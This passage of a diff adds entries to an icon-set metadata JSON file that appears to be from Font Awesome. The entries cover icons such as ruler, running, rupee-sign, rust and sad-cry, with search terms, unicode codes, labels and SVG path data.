12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z\"/></svg>", + "viewBox": [ + "0", + "0", + "384", + "512" + ], + "width": 384, + "height": 512, + "path": "M239.36 320C324.48 320 384 260.542 384 175.071S324.48 32 239.36 32H76c-6.627 0-12 5.373-12 12v206.632H12c-6.627 0-12 5.373-12 12V308c0 6.627 5.373 12 12 12h52v32H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h52v52c0 6.627 5.373 12 12 12h58.56c6.627 0 12-5.373 12-12v-52H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12H146.56v-32h92.8zm-92.8-219.252h78.72c46.72 0 74.88 29.11 74.88 74.323 0 45.832-28.16 75.561-76.16 75.561h-77.44V100.748z" + } + }, + "free": [ + "solid" + ] + }, + "ruler": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "draft", + "length", + "measure", + "planning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f545", + "label": "Ruler", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635671, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z\"/></svg>", + "viewBox": [ + "0", + "0", + "640", + "512" + ], + "width": 640, + "height": 512, + "path": "M635.7 167.2L556.1 31.7c-8.8-15-28.3-20.1-43.5-11.5l-69 39.1L503.3 161c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L416 75l-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L333.2 122 278 153.3 337.8 255c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-59.7-101.7-55.2 31.3 27.9 47.4c2.2 3.8.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9l-27.9-47.5-55.2 31.3 59.7 101.7c2.2 3.7.9 8.5-2.9 10.7l-13.8 7.8c-3.8 2.2-8.7.9-10.9-2.9L84.9 262.9l-69 39.1C.7 310.7-4.6 329.8 4.2 344.8l79.6 135.6c8.8 15 28.3 20.1 43.5 11.5L624.1 210c15.2-8.6 20.4-27.8 11.6-42.8z" + } + }, + "free": [ + "solid" + ] + }, + "ruler-combined": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "draft", + "length", + "measure", + "planning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f546", + "label": "Ruler Combined", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635669, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M160 288h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56v-64h-56c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h56V96h-56c-4.42 0-8-3.58-8-8V72c0-4.42 3.58-8 8-8h56V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 2.77.91 5.24 1.57 7.8L160 329.38V288zm320 64h-32v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-64v56c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-56h-41.37L24.2 510.43c2.56.66 5.04 1.57 7.8 1.57h448c17.67 0 32-14.33 32-32v-96c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "ruler-horizontal": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "draft", + "length", + "measure", + "planning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f547", + "label": "Ruler Horizontal", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635670, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z\"/></svg>", + "viewBox": [ + "0", + "0", + "576", + "512" + ], + "width": 576, + "height": 512, + "path": "M544 128h-48v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-88h-64v88c0 4.42-3.58 8-8 8H88c-4.42 0-8-3.58-8-8v-88H32c-17.67 0-32 14.33-32 32v192c0 17.67 14.33 32 32 32h512c17.67 0 32-14.33 32-32V160c0-17.67-14.33-32-32-32z" + } + }, + "free": [ + "solid" + ] + }, + "ruler-vertical": { + "changes": [ + "5.0.13" + ], + "ligatures": [], + "search": { + "terms": [ + "design", + "draft", + "length", + "measure", + "planning" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f548", + "label": "Ruler Vertical", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635670, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 256 512\"><path d=\"M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z\"/></svg>", + "viewBox": [ + "0", + "0", + "256", + "512" + ], + "width": 256, + "height": 512, + "path": "M168 416c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88v-64h-88c-4.42 0-8-3.58-8-8v-16c0-4.42 3.58-8 8-8h88V32c0-17.67-14.33-32-32-32H32C14.33 0 0 14.33 0 32v448c0 17.67 14.33 32 32 32h192c17.67 0 32-14.33 32-32v-64h-88z" + } + }, + "free": [ + "solid" + ] + }, + "running": { + "changes": [ + "5.4.0", + "5.11.0" + ], + "ligatures": [], + "search": { + "terms": [ + "exercise", + "health", + "jog", + "person", + "run", + "sport", + "sprint" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f70c", + "label": "Running", + "voted": true, + "svg": { + "solid": { + "last_modified": 1628088635671, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 416 512\"><path d=\"M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z\"/></svg>", + "viewBox": [ + "0", + "0", + "416", + "512" + ], + "width": 416, + "height": 512, + "path": "M272 96c26.51 0 48-21.49 48-48S298.51 0 272 0s-48 21.49-48 48 21.49 48 48 48zM113.69 317.47l-14.8 34.52H32c-17.67 0-32 14.33-32 32s14.33 32 32 32h77.45c19.25 0 36.58-11.44 44.11-29.09l8.79-20.52-10.67-6.3c-17.32-10.23-30.06-25.37-37.99-42.61zM384 223.99h-44.03l-26.06-53.25c-12.5-25.55-35.45-44.23-61.78-50.94l-71.08-21.14c-28.3-6.8-57.77-.55-80.84 17.14l-39.67 30.41c-14.03 10.75-16.69 30.83-5.92 44.86s30.84 16.66 44.86 5.92l39.69-30.41c7.67-5.89 17.44-8 25.27-6.14l14.7 4.37-37.46 87.39c-12.62 29.48-1.31 64.01 26.3 80.31l84.98 50.17-27.47 87.73c-5.28 16.86 4.11 34.81 20.97 40.09 3.19 1 6.41 1.48 9.58 1.48 13.61 0 26.23-8.77 30.52-22.45l31.64-101.06c5.91-20.77-2.89-43.08-21.64-54.39l-61.24-36.14 31.31-78.28 20.27 41.43c8 16.34 24.92 26.89 43.11 26.89H384c17.67 0 32-14.33 32-32s-14.33-31.99-32-31.99z" + } + }, + "free": [ + "solid" + ] + }, + "rupee-sign": { + "changes": [ + "3.2", + "5.0.0" + ], + "ligatures": [], + "search": { + "terms": [ + "currency", + "indian", + "inr", + "money" + ] + }, + "styles": [ + "solid" + ], + "unicode": "f156", + "label": "Indian Rupee Sign", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635671, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z\"/></svg>", + "viewBox": [ + "0", + "0", + "320", + "512" + ], + "width": 320, + "height": 512, + "path": "M308 96c6.627 0 12-5.373 12-12V44c0-6.627-5.373-12-12-12H12C5.373 32 0 37.373 0 44v44.748c0 6.627 5.373 12 12 12h85.28c27.308 0 48.261 9.958 60.97 27.252H12c-6.627 0-12 5.373-12 12v40c0 6.627 5.373 12 12 12h158.757c-6.217 36.086-32.961 58.632-74.757 58.632H12c-6.627 0-12 5.373-12 12v53.012c0 3.349 1.4 6.546 3.861 8.818l165.052 152.356a12.001 12.001 0 0 0 8.139 3.182h82.562c10.924 0 16.166-13.408 8.139-20.818L116.871 319.906c76.499-2.34 131.144-53.395 138.318-127.906H308c6.627 0 12-5.373 12-12v-40c0-6.627-5.373-12-12-12h-58.69c-3.486-11.541-8.28-22.246-14.252-32H308z" + } + }, + "free": [ + "solid" + ] + }, + "rust": { + "changes": [ + "5.13.1", + "5.14.0" + ], + "ligatures": [], + "search": { + "terms": [] + }, + "styles": [ + "brands" + ], + "unicode": "e07a", + "label": "Rust", + "voted": true, + "svg": { + "brands": { + "last_modified": 1599860539200, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z\"/></svg>", + "viewBox": [ + "0", + "0", + "512", + "512" + ], + "width": 512, + "height": 512, + "path": "M508.52,249.75,486.7,236.24c-.17-2-.34-3.93-.55-5.88l18.72-17.5a7.35,7.35,0,0,0-2.44-12.25l-24-9c-.54-1.88-1.08-3.78-1.67-5.64l15-20.83a7.35,7.35,0,0,0-4.79-11.54l-25.42-4.15c-.9-1.73-1.79-3.45-2.73-5.15l10.68-23.42a7.35,7.35,0,0,0-6.95-10.39l-25.82.91q-1.79-2.22-3.61-4.4L439,81.84A7.36,7.36,0,0,0,430.16,73L405,78.93q-2.17-1.83-4.4-3.61l.91-25.82a7.35,7.35,0,0,0-10.39-7L367.7,53.23c-1.7-.94-3.43-1.84-5.15-2.73L358.4,25.08a7.35,7.35,0,0,0-11.54-4.79L326,35.26c-1.86-.59-3.75-1.13-5.64-1.67l-9-24a7.35,7.35,0,0,0-12.25-2.44l-17.5,18.72c-1.95-.21-3.91-.38-5.88-.55L262.25,3.48a7.35,7.35,0,0,0-12.5,0L236.24,25.3c-2,.17-3.93.34-5.88.55L212.86,7.13a7.35,7.35,0,0,0-12.25,2.44l-9,24c-1.89.55-3.79,1.08-5.66,1.68l-20.82-15a7.35,7.35,0,0,0-11.54,4.79l-4.15,25.41c-1.73.9-3.45,1.79-5.16,2.73L120.88,42.55a7.35,7.35,0,0,0-10.39,7l.92,25.81c-1.49,1.19-3,2.39-4.42,3.61L81.84,73A7.36,7.36,0,0,0,73,81.84L78.93,107c-1.23,1.45-2.43,2.93-3.62,4.41l-25.81-.91a7.42,7.42,0,0,0-6.37,3.26,7.35,7.35,0,0,0-.57,7.13l10.66,23.41c-.94,1.7-1.83,3.43-2.73,5.16L25.08,153.6a7.35,7.35,0,0,0-4.79,11.54l15,20.82c-.59,1.87-1.13,3.77-1.68,5.66l-24,9a7.35,7.35,0,0,0-2.44,12.25l18.72,17.5c-.21,1.95-.38,3.91-.55,5.88L3.48,249.75a7.35,7.35,0,0,0,0,12.5L25.3,275.76c.17,2,.34,3.92.55,5.87L7.13,299.13a7.35,7.35,0,0,0,2.44,12.25l24,9c.55,1.89,1.08,3.78,1.68,5.65l-15,20.83a7.35,7.35,0,0,0,4.79,11.54l25.42,4.15c.9,1.72,1.79,3.45,2.73,5.14L42.56,391.12a7.35,7.35,0,0,0,.57,7.13,7.13,7.13,0,0,0,6.37,3.26l25.83-.91q1.77,2.22,3.6,4.4L73,430.16A7.36,7.36,0,0,0,81.84,439L107,433.07q2.18,1.83,4.41,3.61l-.92,25.82a7.35,7.35,0,0,0,10.39,6.95l23.43-10.68c1.69.94,3.42,1.83,5.14,2.73l4.15,25.42a7.34,7.34,0,0,0,11.54,4.78l20.83-15c1.86.6,3.76,1.13,5.65,1.68l9,24a7.36,7.36,0,0,0,12.25,2.44l17.5-18.72c1.95.21,3.92.38,5.88.55l13.51,21.82a7.35,7.35,0,0,0,12.5,0l13.51-21.82c2-.17,3.93-.34,5.88-.56l17.5,18.73a7.36,7.36,0,0,0,12.25-2.44l9-24c1.89-.55,3.78-1.08,5.65-1.68l20.82,15a7.34,7.34,0,0,0,11.54-4.78l4.15-25.42c1.72-.9,3.45-1.79,5.15-2.73l23.42,10.68a7.35,7.35,0,0,0,10.39-6.95l-.91-25.82q2.22-1.79,4.4-3.61L430.16,439a7.36,7.36,0,0,0,8.84-8.84L433.07,405q1.83-2.17,3.61-4.4l25.82.91a7.23,7.23,0,0,0,6.37-3.26,7.35,7.35,0,0,0,.58-7.13L458.77,367.7c.94-1.7,1.83-3.43,2.73-5.15l25.42-4.15a7.35,7.35,0,0,0,4.79-11.54l-15-20.83c.59-1.87,1.13-3.76,1.67-5.65l24-9a7.35,7.35,0,0,0,2.44-12.25l-18.72-17.5c.21-1.95.38-3.91.55-5.87l21.82-13.51a7.35,7.35,0,0,0,0-12.5Zm-151,129.08A13.91,13.91,0,0,0,341,389.51l-7.64,35.67A187.51,187.51,0,0,1,177,424.44l-7.64-35.66a13.87,13.87,0,0,0-16.46-10.68l-31.51,6.76a187.38,187.38,0,0,1-16.26-19.21H258.3c1.72,0,2.89-.29,2.89-1.91V309.55c0-1.57-1.17-1.91-2.89-1.91H213.47l.05-34.35H262c4.41,0,23.66,1.28,29.79,25.87,1.91,7.55,6.17,32.14,9.06,40,2.89,8.82,14.6,26.46,27.1,26.46H407a187.3,187.3,0,0,1-17.34,20.09Zm25.77,34.49A15.24,15.24,0,1,1,368,398.08h.44A15.23,15.23,0,0,1,383.24,413.32Zm-225.62-.68a15.24,15.24,0,1,1-15.25-15.25h.45A15.25,15.25,0,0,1,157.62,412.64ZM69.57,234.15l32.83-14.6a13.88,13.88,0,0,0,7.06-18.33L102.69,186h26.56V305.73H75.65A187.65,187.65,0,0,1,69.57,234.15ZM58.31,198.09a15.24,15.24,0,0,1,15.23-15.25H74a15.24,15.24,0,1,1-15.67,15.24Zm155.16,24.49.05-35.32h63.26c3.28,0,23.07,3.77,23.07,18.62,0,12.29-15.19,16.7-27.68,16.7ZM399,306.71c-9.8,1.13-20.63-4.12-22-10.09-5.78-32.49-15.39-39.4-30.57-51.4,18.86-11.95,38.46-29.64,38.46-53.26,0-25.52-17.49-41.59-29.4-49.48-16.76-11-35.28-13.23-40.27-13.23H116.32A187.49,187.49,0,0,1,221.21,70.06l23.47,24.6a13.82,13.82,0,0,0,19.6.44l26.26-25a187.51,187.51,0,0,1,128.37,91.43l-18,40.57A14,14,0,0,0,408,220.43l34.59,15.33a187.12,187.12,0,0,1,.4,32.54H423.71c-1.91,0-2.69,1.27-2.69,3.13v8.82C421,301,409.31,305.58,399,306.71ZM240,60.21A15.24,15.24,0,0,1,255.21,45h.45A15.24,15.24,0,1,1,240,60.21ZM436.84,214a15.24,15.24,0,1,1,0-30.48h.44a15.24,15.24,0,0,1-.44,30.48Z" + } + }, + "free": [ + "brands" + ] + }, + "sad-cry": { + "changes": [ + "5.1.0", + "5.11.0", + "5.11.1" + ], + "ligatures": [], + "search": { + "terms": [ + "emoticon", + "face", + "tear", + "tears" + ] + }, + "styles": [ + "solid", + "regular" + ], + "unicode": "f5b3", + "label": "Crying Face", + "voted": false, + "svg": { + "solid": { + "last_modified": 1628088635672, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z\"/></svg>", + "viewBox": [ + "0", + "0", + "496", + "512" + ], + "width": 496, + "height": 512, + "path": "M248 8C111 8 0 119 0 256c0 90.1 48.2 168.7 120 212.1V288c0-8.8 7.2-16 16-16s16 7.2 16 16v196.7c29.5 12.4 62 19.3 96 19.3s66.5-6.9 96-19.3V288c0-8.8 7.2-16 16-16s16 7.2 16 16v180.1C447.8 424.7 496 346 496 256 496 119 385 8 248 8zm-65.5 216.5c-14.8-13.2-46.2-13.2-61 0L112 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S208 197 212 222.2c.8 5-1.7 10-6.1 12.4-5.8 3.1-11.2.7-13.7-1.6l-9.7-8.5zM248 416c-26.5 0-48-28.7-48-64s21.5-64 48-64 48 28.7 48 64-21.5 64-48 64zm149.8-181.5c-5.8 3.1-11.2.7-13.7-1.6l-9.5-8.5c-14.8-13.2-46.2-13.2-61 0L304 233c-3.8 3.3-9.3 4-13.7 1.6-4.4-2.4-6.9-7.4-6.1-12.4 4-25.2 34.2-42.1 59.9-42.1S400 197 404 222.2c.6 4.9-1.8 9.9-6.2 12.3z" + }, + "regular": { + "last_modified": 1628088634976, + "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm144 386.4V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v151.4C315.5 447 282.8 456 248 456s-67.5-9-96-24.6V280c0-13.2-10.8-24-24-24s-24 10.8-24 24v114.4c-34.6-36-56-84.7-56-138.4 0-110.3 89.7-200 200-200s200 89.7 200 200c0 53.7-21.4 102.5-56 138.4zM205.8 234.5c4.4-2.4 6.9-7.4 6.1-12.4-4-25.2-34.2-42.1-59.8-42.1s-55.9 16.9-59.8 42.1c-.8 5 1.7 10 6.1 12.4 4.4 2.4 9.9 1.8 13.7-1.6l9.5-8.5c14.8-13.2 46.2-13.2 61 0l9.5 8.5c2.5 2.3 7.9 4.8 13.7 1.6zM344 180c-25.7 0-55.9 16.9-59.8 42.1-.8 5 1.7 10 6.1 12.4 4.5 2.4 9.9 1.8 